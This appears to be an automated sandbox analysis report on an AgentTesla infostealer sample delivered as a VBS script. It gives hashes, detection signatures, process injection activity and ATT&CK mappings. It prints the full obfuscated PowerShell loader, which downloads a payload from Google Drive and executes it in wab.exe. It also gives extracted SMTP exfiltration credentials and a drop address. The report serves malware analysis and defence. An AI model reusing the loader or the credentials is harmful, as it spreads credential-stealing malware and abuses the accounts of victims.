agenttesla | c077a80b84a9a7957cd634590a6592e1d147d8cc117f3217de85156a7b51de0a

General

Target

c077a80b84a9a7957cd634590a6592e1d147d8cc117f3217de85156a7b51de0a.vbs
Size

39KB
MD5

bb5aac6e774452e8c2c1326398ab7d30
SHA1

bc58b34f069a19c31f241dac4161686b244c9e67
SHA256

c077a80b84a9a7957cd634590a6592e1d147d8cc117f3217de85156a7b51de0a
SHA512

617476c775c40a94c34fad1cdea9f4eae1efa5fb5bb35d5e1a1460c817a6a7bf2bc10d78e5c69df26bb0b18b5d5c9314e315e9c609491b54631f50f8a33e9055
SSDEEP

384:u01gBhZUIWz0AujGKoCJmMuttrW6ku83V3aiHw+tnXPR0q9hWPZyTHO8xfmux1C+:u01gBhXWAZGc8NnKwiQMnCG89KfRei

Score

10^/10

agenttesla keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.tecniseal.es
Port:
587
Username:
esther.lopez@tecniseal.es
Password:
12348*tecniseal
Email To:
officialspace6@gmail.com

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral1/memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

4 drive.google.com
5 drive.google.com
9 drive.google.com
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

Processes:

wab.exe

pid process

2764 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

2536 powershell.exe
2764 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 2536 set thread context of 2764 2536 powershell.exe wab.exe
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exepowershell.exewab.exe

pid process

2584 powershell.exe
2536 powershell.exe
2536 powershell.exe
2764 wab.exe
2764 wab.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

2536 powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exepowershell.exewab.exe

description pid process

Token: SeDebugPrivilege 2584 powershell.exe
Token: SeDebugPrivilege 2536 powershell.exe
Token: SeDebugPrivilege 2764 wab.exe

flow	ioc
4	drive.google.com
5	drive.google.com
9	drive.google.com

pid	process
2764	wab.exe

pid	process
2536	powershell.exe
2764	wab.exe

description	pid	process	target process
PID 2536 set thread context of 2764	2536	powershell.exe	wab.exe

pid	process
2584	powershell.exe
2536	powershell.exe
2536	powershell.exe
2764	wab.exe
2764	wab.exe

pid	process
2536	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2584	powershell.exe
Token: SeDebugPrivilege	2536	powershell.exe
Token: SeDebugPrivilege	2764	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 1636 wrote to memory of 2584	1636	WScript.exe	powershell.exe
PID 1636 wrote to memory of 2584	1636	WScript.exe	powershell.exe
PID 1636 wrote to memory of 2584	1636	WScript.exe	powershell.exe
PID 2584 wrote to memory of 2820	2584	powershell.exe	cmd.exe
PID 2584 wrote to memory of 2820	2584	powershell.exe	cmd.exe
PID 2584 wrote to memory of 2820	2584	powershell.exe	cmd.exe
PID 2584 wrote to memory of 2536	2584	powershell.exe	powershell.exe
PID 2584 wrote to memory of 2536	2584	powershell.exe	powershell.exe
PID 2584 wrote to memory of 2536	2584	powershell.exe	powershell.exe
PID 2584 wrote to memory of 2536	2584	powershell.exe	powershell.exe
PID 2536 wrote to memory of 2416	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2416	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2416	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2416	2536	powershell.exe	cmd.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe
PID 2536 wrote to memory of 2764	2536	powershell.exe	wab.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c077a80b84a9a7957cd634590a6592e1d147d8cc117f3217de85156a7b51de0a.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Dominerede Tryknaptelefonernes Emaljeringens Overseeding Atlaser #>;$Uafhngighedserklringers=(cmd /c set /A 115^^0);Function Heterophemize ([String]$assentatious){$Calmest=[char][int]$Uafhngighedserklringers+'ubstring';$Prioninae=8;$Misbind=Femtenaarigt($assentatious);For($Incontractile=7; $Incontractile -lt $Misbind; $Incontractile+=$Prioninae){$Unproportionably=$assentatious.$Calmest.Invoke($Incontractile, 1);$brintbombes=$brintbombes+$Unproportionably;}$brintbombes;}function Preceptory255 ($Stalkoes){& ($spicae) ($Stalkoes);}function Femtenaarigt ([String]$Alisma){$Ligaturers=$Alisma.Length-1;$Ligaturers;}$Lymphographic=Heterophemize 'AccrediT ,culinrLangsynaCarpettnMyel.grs brdfrufBarmhjee OpkaldrFritidsrem,linei Rec,pinBougetmgAurikle ';$Ambulancen=Heterophemize ' my dighBeav rptOvervaatLillejup olitics Pterop:tex,man/ Antage/ ,tringdPrivatsrGrund kiAutopolvd.valuee W.ding.KissejagFuretcooU ificaoMetaposgMindleslKapslenePicolin. E erpac,jernsyo thrawnmChanger/so,tieduGustfu c arvist? Kammere Sub hrxM rinatp cougaro AbilenrColeadet Occlus=HeilyekdForstanoRste,enwSjaskrenTa nioglResistaoVoltasjaro,antidUrethri&Planishi CordurdBlaastj=Signifi1 SnniksiDestabivUdskifte IbenhomSjler,mmP,njabigOmgngern.seudodMBer,gniaBrokkenv AfterfnBullpupsModerensArrestmBnapoleos PolitiYSeriocovBadesep_ TrageltEngleneuReable.q For,mepMatrili7Ailuropu Sunnudk.antasiCRetightw pstter3snylte 0ElderlyzKernsfrrSyvmileB Transv ';$spicae=Heterophemize 'StavemaiImmortaeProduktxObskure ';$Officinerne=Heterophemize 'sammenf$ Paleo.g .pejlglSnidefio Nondomb econsiaUnbisholOrdning:SaffronRStoreblanonevapa Factork VaretaoPaillonsMhokongtW immieePaaduttnSiganid1 Denatu1Basuner0 .rythr irring= Milieu So.vablS FencintRakkereaTholeitrForldeltExporta- Unebb.BLajkaariAtionsptOverr.lsFelonypT.akerobr U gennaKutymennForaarssUnpleasfAircheceAktieserbullswo b.byrde- KagespSCutoceloNonideauPa.ametrChefd.lc forb ueTr antc M.ndic$ThomasiAReaccommOmg.gerbDatalinuPropo,tlTe efonaSolemnine.keltsc adiolue hul innEaverej Compunc-V lpecuDCabresteom rsels FejltltDisturbi Akt onnKredsr aofficiat Udrejsi nkebokoSemi amnMeningo Planetb$UdfoldeKtred,lelFysi,teacensussv DatabaeBondagerBrugerdnimp gnes Tel,gr1 Twen,e6 Indane6Offent. ';Preceptory255 (Heterophemize ' Enzym $TrooshlgVibe.nelErnringo Bed etbFi,mwaraNorpinil hippop:MenostaKO.tbowll pigeonaOpspolivS.rambleAnfrsl r Ind emnMetapecsBliniss1Tyv rif6Ismejer6 Tri,on= Slovak$Aguishce Ene.gin TurkopvSpatiet:Unhostia.olkrempJotisarp ArmourdAbsurd,aSk,belitLa,onisaDiletta ') ;Preceptory255 (Heterophemize 'Cladoc I Spend mZugtierpKnopskuopigfishrAabnerntUnm.mor- DrivelM EndosaoFort,dedBrystbeuLucinidl udtry,e.elbeha CreedsaBGalioneiCedertrtUdbr.disJurisdiTUdjvninrGravimeaChamelenSuperins hinustfExper ee Dj.bour.arkeds ') ;$Klaverns166=$Klaverns166+'\Aflseligt98.Ban' ;Preceptory255 (Heterophemize 'Vigepli$HerreekgStopinglCentereo OplrinbFistifyaV,ndkmml artogr:BrikettOStr ereeIldlsnoi Frgemml AlengtlTransvai For edaoak.nshd forgo =Gr.ndig( TekstiTSpiculieFo.estisM.stikutSkurern-Bvreg.sPRealiteamesol,gtBrystflhStumpyo Ratific$ .oindiK Je.tjelHomelinaNonli evDowl ske Endiv.rlituitinPlagaldsA,erroi1Elbowyh6inf,rmi6 .otoal)Alismad ') ;while (-not $Oeilliad) {Preceptory255 (Heterophemize ' KhiladI,hernesfRebirth pirker(assames$p,ydsplR ,uinisaRums.eraIncunabkPetaledodomsubdsIsabe.itCervicoe EmpiernKrydsre1Slankes1Condone0 Antife.BeregniJarchipeoJamesonbKa kaskS Udsmugt Sid.liadepilattTiltrkdeDelete. Noma.ep-RedouteeUddann,q Maskin spinets$MalpropL Regrouy.aahvilmSt uktup SexbomhNondisco Incommg Traktrr S.ccadaConvalepViceroyhNotendeiBortelic Blodfe)Subpara Ver efd{GerbillS ,pedittEnetageaProgramrCheffortKa,jasn-,irkuleSYnkeliglArylatieUnsympteMormotvpA,iosie Pre,se1 S.acke}DisputeeudmagrelSeamostsTempe aeVok.kas{ Fl ntgS spindltWienerpaBo,swanrRisottotTheftpr-ShellumSPalaeoplSaltiefeDu.miese,mmanenpeventyr Spidsbu1Smittle;Rec,rcePAeromecrTranschestor jecColourieYdelsesp Hvirvltbortrejo NonequrombygniySvanefi2Muddypi5 Lichen5Sleekne Ma.roev$S athinOAfklarif An.emafCheesiniFlowerbc Pachyhi MillennBarnstoespil,evrSupere,nbryd,ineKvaltes}Inferir ');Preceptory255 (Heterophemize 'Therian$Vierspig TankeblEssoinmoFrankofb PercesaFuti itl Nudist:InfantiO DuopoleRockieuiSogg esl LaurealMiksturiEndopleaFarvevad.odosit=Borde.m(Til irkTPreguileMetallisOverwhitH ydenj-RecipiePTilrettaSlagordtSpe,ialh R,alit Despoi.$BevilliKRapill.lrevolteaKravspevIn stnieInfiel rSternitnIndk,desTitoism1 Sandst6M.sopar6To rels)kekunap ') ;}Preceptory255 (Heterophemize 'Trl emr$Clearagg RelstalskyderioAttraavb F.eckeaArkiv,llBltekre: C.licoAProduktlnondeliiOperatid l getaaLovershsHjemmeb Jentjen=Cli.ati PrintenG MinusgeSpecialtUrinemi-WhistleCUnma mooUfoernen Unrecut Kach,heGeo etrnTu.gysetFolkeko E,hicia$ Hair.cK urhedelP,rtakeaVanvittv ethenaeAn urisrMrklggenTelefons Kvetch1Orpimen6 Le ned6Reveget ');Preceptory255 (Heterophemize ' Adelsg$ xtispig TomatilAdvokato BriksebLeisuraa.ariflnl Mundbl: Priv.tARealkresRe njoitSendingaZoilismrskovmyre ftappe Ditetik=st affe Straale[TvanmelS diktery HexammsDannematP ajeraeIndsejlmCompart.Maddi.gC Spor no SetternSurmi ivChlori.e,mpliturGalv nst,vsprin]Corkeds:Counter:Flow.ffFOpruln,rDrejefdoCostersmForekomBDeklassaglucosisLoadingeEpithal6An.ende4T.dsskrSFo masttOp,lussrDeterreiEchogran gallergHankatt( Kokkep$SkmbillARovingulTaxi haiTuristcd GnomicaDiglyphsSmukkeb)harpune ');Preceptory255 (Heterophemize ' uptime$ Concergpal tabl Uninclo Bedr,gbKartoffa FibrstlS.eered: Fla laOTroadblcHorisontRednin,obuddi,ud MinineeReindorc StedmoiStrggarl Colonil,holedoiDaddelpo,alvanonDkra be tertor=.nenigm Cryptoa[Redist.Swr ckagyunantagsDecembrtAncipiteScrapbomSexbo b. OccipiTA,tensteB gyndexBndel,ttDressie.BehatteE .latrenHistoricMargi,aoEksploddRegistricongolenSpraying Precis].eciphe:skadesf:KejsertA Ap romSWichhj.C PaabydI HypothITempelh.SkalaruGRegangeeTotalentVrdispiSt,nacultStephanrRijsttai Fort.ln Uhvi,kg Megace(Dualite$SipeoxcACa,elops Tri,art Bronc,aIsokerarVedhol e Al.olf)S ancer ');Preceptory255 (Heterophemize 'Arbu,us$Undemo.gChoirlilOraleroospildinbHedgehoaNvn.ngelForsbni:PseudoiRCab llmeRe.lisepAabenbaaLitiscoihaemninn Imperitmoonheai.eucobrn.entathgF.ehorn=Hellery$OfftracOElectivcHjrdisstSnr huloMallea,d Renteie KreposcArbejdsiBere,nilAfrejs,lForeloeiForebygokelltypn aubits.MonocoesEnfo.ceuUgennemb Fdselss G lanttUndeviorNicoti,iFootlednKursusogUndetr ( Selvfo3manifes1Targumi7Venners9 Formul8Leafcup4 Sqqtve,overacc3Womanli0Aesthet9.edakti9Forhaan2Outligg)Aeropla ');Preceptory255 $Repainting;"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2584

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
3⤵
PID:2820

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "<#Dominerede Tryknaptelefonernes Emaljeringens Overseeding Atlaser #>;$Uafhngighedserklringers=(cmd /c set /A 115^^0);Function Heterophemize ([String]$assentatious){$Calmest=[char][int]$Uafhngighedserklringers+'ubstring';$Prioninae=8;$Misbind=Femtenaarigt($assentatious);For($Incontractile=7; $Incontractile -lt $Misbind; $Incontractile+=$Prioninae){$Unproportionably=$assentatious.$Calmest.Invoke($Incontractile, 1);$brintbombes=$brintbombes+$Unproportionably;}$brintbombes;}function Preceptory255 ($Stalkoes){& ($spicae) ($Stalkoes);}function Femtenaarigt ([String]$Alisma){$Ligaturers=$Alisma.Length-1;$Ligaturers;}$Lymphographic=Heterophemize 'AccrediT ,culinrLangsynaCarpettnMyel.grs brdfrufBarmhjee OpkaldrFritidsrem,linei Rec,pinBougetmgAurikle ';$Ambulancen=Heterophemize ' my dighBeav rptOvervaatLillejup olitics Pterop:tex,man/ Antage/ ,tringdPrivatsrGrund kiAutopolvd.valuee W.ding.KissejagFuretcooU ificaoMetaposgMindleslKapslenePicolin. E erpac,jernsyo thrawnmChanger/so,tieduGustfu c arvist? Kammere Sub hrxM rinatp cougaro AbilenrColeadet Occlus=HeilyekdForstanoRste,enwSjaskrenTa nioglResistaoVoltasjaro,antidUrethri&Planishi CordurdBlaastj=Signifi1 SnniksiDestabivUdskifte IbenhomSjler,mmP,njabigOmgngern.seudodMBer,gniaBrokkenv AfterfnBullpupsModerensArrestmBnapoleos PolitiYSeriocovBadesep_ TrageltEngleneuReable.q For,mepMatrili7Ailuropu Sunnudk.antasiCRetightw pstter3snylte 0ElderlyzKernsfrrSyvmileB Transv ';$spicae=Heterophemize 'StavemaiImmortaeProduktxObskure ';$Officinerne=Heterophemize 'sammenf$ Paleo.g .pejlglSnidefio Nondomb econsiaUnbisholOrdning:SaffronRStoreblanonevapa Factork VaretaoPaillonsMhokongtW immieePaaduttnSiganid1 Denatu1Basuner0 .rythr irring= Milieu So.vablS FencintRakkereaTholeitrForldeltExporta- Unebb.BLajkaariAtionsptOverr.lsFelonypT.akerobr U gennaKutymennForaarssUnpleasfAircheceAktieserbullswo b.byrde- KagespSCutoceloNonideauPa.ametrChefd.lc forb ueTr antc M.ndic$ThomasiAReaccommOmg.gerbDatalinuPropo,tlTe efonaSolemnine.keltsc adiolue hul innEaverej Compunc-V lpecuDCabresteom rsels FejltltDisturbi Akt onnKredsr aofficiat Udrejsi nkebokoSemi amnMeningo Planetb$UdfoldeKtred,lelFysi,teacensussv DatabaeBondagerBrugerdnimp gnes Tel,gr1 Twen,e6 Indane6Offent. ';Preceptory255 (Heterophemize ' Enzym $TrooshlgVibe.nelErnringo Bed etbFi,mwaraNorpinil hippop:MenostaKO.tbowll pigeonaOpspolivS.rambleAnfrsl r Ind emnMetapecsBliniss1Tyv rif6Ismejer6 Tri,on= Slovak$Aguishce Ene.gin TurkopvSpatiet:Unhostia.olkrempJotisarp ArmourdAbsurd,aSk,belitLa,onisaDiletta ') ;Preceptory255 (Heterophemize 'Cladoc I Spend mZugtierpKnopskuopigfishrAabnerntUnm.mor- DrivelM EndosaoFort,dedBrystbeuLucinidl udtry,e.elbeha CreedsaBGalioneiCedertrtUdbr.disJurisdiTUdjvninrGravimeaChamelenSuperins hinustfExper ee Dj.bour.arkeds ') ;$Klaverns166=$Klaverns166+'\Aflseligt98.Ban' ;Preceptory255 (Heterophemize 'Vigepli$HerreekgStopinglCentereo OplrinbFistifyaV,ndkmml artogr:BrikettOStr ereeIldlsnoi Frgemml AlengtlTransvai For edaoak.nshd forgo =Gr.ndig( TekstiTSpiculieFo.estisM.stikutSkurern-Bvreg.sPRealiteamesol,gtBrystflhStumpyo Ratific$ .oindiK Je.tjelHomelinaNonli evDowl ske Endiv.rlituitinPlagaldsA,erroi1Elbowyh6inf,rmi6 .otoal)Alismad ') ;while (-not $Oeilliad) {Preceptory255 (Heterophemize ' KhiladI,hernesfRebirth pirker(assames$p,ydsplR ,uinisaRums.eraIncunabkPetaledodomsubdsIsabe.itCervicoe EmpiernKrydsre1Slankes1Condone0 Antife.BeregniJarchipeoJamesonbKa kaskS Udsmugt Sid.liadepilattTiltrkdeDelete. Noma.ep-RedouteeUddann,q Maskin spinets$MalpropL Regrouy.aahvilmSt uktup SexbomhNondisco Incommg Traktrr S.ccadaConvalepViceroyhNotendeiBortelic Blodfe)Subpara Ver efd{GerbillS ,pedittEnetageaProgramrCheffortKa,jasn-,irkuleSYnkeliglArylatieUnsympteMormotvpA,iosie Pre,se1 S.acke}DisputeeudmagrelSeamostsTempe aeVok.kas{ Fl ntgS spindltWienerpaBo,swanrRisottotTheftpr-ShellumSPalaeoplSaltiefeDu.miese,mmanenpeventyr Spidsbu1Smittle;Rec,rcePAeromecrTranschestor jecColourieYdelsesp Hvirvltbortrejo NonequrombygniySvanefi2Muddypi5 Lichen5Sleekne Ma.roev$S athinOAfklarif An.emafCheesiniFlowerbc Pachyhi MillennBarnstoespil,evrSupere,nbryd,ineKvaltes}Inferir ');Preceptory255 (Heterophemize 'Therian$Vierspig TankeblEssoinmoFrankofb PercesaFuti itl Nudist:InfantiO DuopoleRockieuiSogg esl LaurealMiksturiEndopleaFarvevad.odosit=Borde.m(Til irkTPreguileMetallisOverwhitH ydenj-RecipiePTilrettaSlagordtSpe,ialh R,alit Despoi.$BevilliKRapill.lrevolteaKravspevIn stnieInfiel rSternitnIndk,desTitoism1 Sandst6M.sopar6To rels)kekunap ') ;}Preceptory255 (Heterophemize 'Trl emr$Clearagg RelstalskyderioAttraavb F.eckeaArkiv,llBltekre: C.licoAProduktlnondeliiOperatid l getaaLovershsHjemmeb Jentjen=Cli.ati PrintenG MinusgeSpecialtUrinemi-WhistleCUnma mooUfoernen Unrecut Kach,heGeo etrnTu.gysetFolkeko E,hicia$ Hair.cK urhedelP,rtakeaVanvittv ethenaeAn urisrMrklggenTelefons Kvetch1Orpimen6 Le ned6Reveget ');Preceptory255 (Heterophemize ' Adelsg$ xtispig TomatilAdvokato BriksebLeisuraa.ariflnl Mundbl: Priv.tARealkresRe njoitSendingaZoilismrskovmyre ftappe Ditetik=st affe Straale[TvanmelS diktery HexammsDannematP ajeraeIndsejlmCompart.Maddi.gC Spor no SetternSurmi ivChlori.e,mpliturGalv nst,vsprin]Corkeds:Counter:Flow.ffFOpruln,rDrejefdoCostersmForekomBDeklassaglucosisLoadingeEpithal6An.ende4T.dsskrSFo masttOp,lussrDeterreiEchogran gallergHankatt( Kokkep$SkmbillARovingulTaxi haiTuristcd GnomicaDiglyphsSmukkeb)harpune ');Preceptory255 (Heterophemize ' uptime$ Concergpal tabl Uninclo Bedr,gbKartoffa FibrstlS.eered: Fla laOTroadblcHorisontRednin,obuddi,ud MinineeReindorc StedmoiStrggarl Colonil,holedoiDaddelpo,alvanonDkra be tertor=.nenigm Cryptoa[Redist.Swr ckagyunantagsDecembrtAncipiteScrapbomSexbo b. OccipiTA,tensteB gyndexBndel,ttDressie.BehatteE .latrenHistoricMargi,aoEksploddRegistricongolenSpraying Precis].eciphe:skadesf:KejsertA Ap romSWichhj.C PaabydI HypothITempelh.SkalaruGRegangeeTotalentVrdispiSt,nacultStephanrRijsttai Fort.ln Uhvi,kg Megace(Dualite$SipeoxcACa,elops Tri,art Bronc,aIsokerarVedhol e Al.olf)S ancer ');Preceptory255 (Heterophemize 'Arbu,us$Undemo.gChoirlilOraleroospildinbHedgehoaNvn.ngelForsbni:PseudoiRCab llmeRe.lisepAabenbaaLitiscoihaemninn Imperitmoonheai.eucobrn.entathgF.ehorn=Hellery$OfftracOElectivcHjrdisstSnr huloMallea,d Renteie KreposcArbejdsiBere,nilAfrejs,lForeloeiForebygokelltypn aubits.MonocoesEnfo.ceuUgennemb Fdselss G lanttUndeviorNicoti,iFootlednKursusogUndetr ( Selvfo3manifes1Targumi7Venners9 Formul8Leafcup4 Sqqtve,overacc3Womanli0Aesthet9.edakti9Forhaan2Outligg)Aeropla ');Preceptory255 $Repainting;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2536

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c set /A 115^^0
4⤵
PID:2416

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2764

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
344B

MD5
5943edc892ac9360a6bd49c7b60d57f2

SHA1
27320b34788b70e0a67211eca103f53816c834bb

SHA256
112f66a6eb98af55339a659128a2f3d9b5f721a4d7151ce12bfc6a2fe0128a54

SHA512
57e42d1cff8671f575f4c18932ee74dbbacf6ae5477e238a4e43b9b37df12c00e9401f66d2d7f8a5f7dff6a105759fb7ea0b0c6454df92ec1027f2d10cb3cd06

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab904E.tmp
Filesize
65KB

MD5
ac05d27423a85adc1622c714f2cb6184

SHA1
b0fe2b1abddb97837ea0195be70ab2ff14d43198

SHA256
c6456e12e5e53287a547af4103e0397cb9697e466cf75844312dc296d43d144d

SHA512
6d0ef9050e41fbae680e0e59dd0f90b6ac7fea5579ef5708b69d5da33a0ece7e8b16574b58b17b64a34cc34a4ffc22b4a62c1ece61f36c4a11a0665e0536b90d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F62UUTFC79X1QK4JVDQG.temp
Filesize
7KB

MD5
d51f261d79546926c09a7d8c86e2805b

SHA1
6da374128fb405244b0e5f46b6a0cdeeae70343d

SHA256
1f3e34ccdbbfb38782a173c6fe6aae8d278b7adace2e76cda0a8ed630ccc91fd

SHA512
c7382646495bcf2241f6ee81482ced033f7670f4640c76e543d2098f556b12f2039633cceb65c125f165805ab8659d59bdbd7d5ca10569169d0eb64670c7156f

Download Submit
memory/2536-36-0x0000000073760000-0x0000000073D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-38-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2536-37-0x0000000077720000-0x00000000778C9000-memory.dmp

Filesize
1.7MB

Download
memory/2536-18-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2536-34-0x0000000006A60000-0x000000000A6D8000-memory.dmp

Filesize
60.5MB

Download
memory/2536-35-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download
memory/2536-29-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2536-39-0x0000000077910000-0x00000000779E6000-memory.dmp

Filesize
856KB

Download
memory/2536-16-0x0000000073760000-0x0000000073D0B000-memory.dmp

Filesize
5.7MB

Download
memory/2536-17-0x0000000002CC0000-0x0000000002D00000-memory.dmp

Filesize
256KB

Download
memory/2584-32-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-8-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-13-0x0000000002AD0000-0x0000000002AE2000-memory.dmp

Filesize
72KB

Download
memory/2584-30-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-31-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-4-0x000000001B680000-0x000000001B962000-memory.dmp

Filesize
2.9MB

Download
memory/2584-33-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-11-0x0000000002AA0000-0x0000000002AC2000-memory.dmp

Filesize
136KB

Download
memory/2584-12-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-10-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-9-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-28-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-7-0x0000000002A00000-0x0000000002A80000-memory.dmp

Filesize
512KB

Download
memory/2584-66-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2584-5-0x0000000002870000-0x0000000002878000-memory.dmp

Filesize
32KB

Download
memory/2584-6-0x000007FEF5CD0000-0x000007FEF666D000-memory.dmp

Filesize
9.6MB

Download
memory/2764-42-0x0000000077910000-0x00000000779E6000-memory.dmp

Filesize
856KB

Download
memory/2764-41-0x0000000077946000-0x0000000077947000-memory.dmp

Filesize
4KB

Download
memory/2764-64-0x0000000000CE0000-0x0000000001D42000-memory.dmp

Filesize
16.4MB

Download
memory/2764-40-0x0000000077720000-0x00000000778C9000-memory.dmp

Filesize
1.7MB

Download
memory/2764-68-0x0000000072F30000-0x000000007361E000-memory.dmp

Filesize
6.9MB

Download
memory/2764-67-0x0000000000CE0000-0x0000000000D20000-memory.dmp

Filesize
256KB

Download
memory/2764-71-0x0000000072F30000-0x000000007361E000-memory.dmp

Filesize
6.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads